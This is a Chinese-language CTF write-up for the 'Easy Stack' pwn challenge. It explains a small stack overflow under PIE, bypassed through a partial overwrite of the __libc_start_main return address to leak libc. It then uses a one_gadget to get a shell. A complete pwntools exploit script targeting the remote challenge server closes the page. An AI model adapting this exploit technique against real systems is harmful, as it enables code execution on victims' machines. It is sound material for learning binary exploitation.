MENU

PWN Challenge Easy Stack

January 20, 2021 • Read: 401 • Pwn

栈题没有堆题那么需要符号信息,所以这道题可以开局先用gclibc替换libc图片

checksec一下

图片

分析代码

图片

程序流程很简单,有一个栈溢出,但是注意到只溢出了0x20个字节,去掉rbp的空间,只有0x18个字节。

一般这种程序的思路都是走栈迁移啥的,但是这道题不可行,主要原因在于这道题开了PIE

这让我没有办法在写入阶段定位到任何地址,故只能考虑通过puts泄露出一些信息后再进行利用。

但是如何让程序重新返回到这个函数呢?这个问题通过调试可以解答

图片

观察ret时的栈数据,发现可以在返回地址附近存在一些地址,如果可以执行到这个地址位置,那么就可以重新执行主函数,然后再进一步利用

图片

但是我们没有任何地方的地址可以绕过PIE,所以我们只能考虑通过partial overwrite来达到目的,目标就变成了,在__libc_start_main附近找一个地方,可以让esp + 0x18(pop 三次)。这样就能够在下次ret的时候成功返回到main的位置。

通过

ROPgadget --binary=libc.so.6 --offset 0x7ffff79e7000 | grep "pop"

通过--offset可以指定libc偏移地址,让我们的搜索变的更加方便
可以搜索带有libc偏移的gadget地址,我们把全部gadget复制出来,来寻找可以部分写入的地址

先尝试搜索所有修改最后一个字节的gadget(搜索的地址是 <0x7ffff7a08b97; __libc_start_main+231>)

图片

结果没有找到,于是搜索修改最后两个字节的gadget(1/16爆破)

然后接下来就是,人肉符号执行:

图片

最后找到一个合适的gadget,可以达到让esp + 0x18的目的。

覆盖到原来的地址后,直接用one_gadget就可以getshell。

EXP

from pwn import *
context.log_level = "debug"
def debug(addr=0,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
        print ("breakpoint_addr --> " + hex(text_base + 0x4040))
        gdb.attach(r,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(r,"b *{}".format(hex(addr)))
while True:
    try:
        #r = process('./easy_stack')
        r = remote('nc.eonew.cn', 10004)
        #debug(0xA53)
        r.sendline('a' * 0x80 + 'b' * 0x8 + p16(0xad3f))
        libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x22d3f
        log.success("libc_base: " + hex(libc_base))
        one = [0x4f2c5, 0x4f322, 0x10a38c]
        r.sendline('a' * 0x80 + 'b' * 0x8 + p64(libc_base + one[2]))
        r.sendline("echo getshell")
        r.recvuntil('getshell')
        r.interactive()
    except:
        pass
Last Modified: January 27, 2021
Archives QR Code Tip
QR Code for this page
Tipping QR Code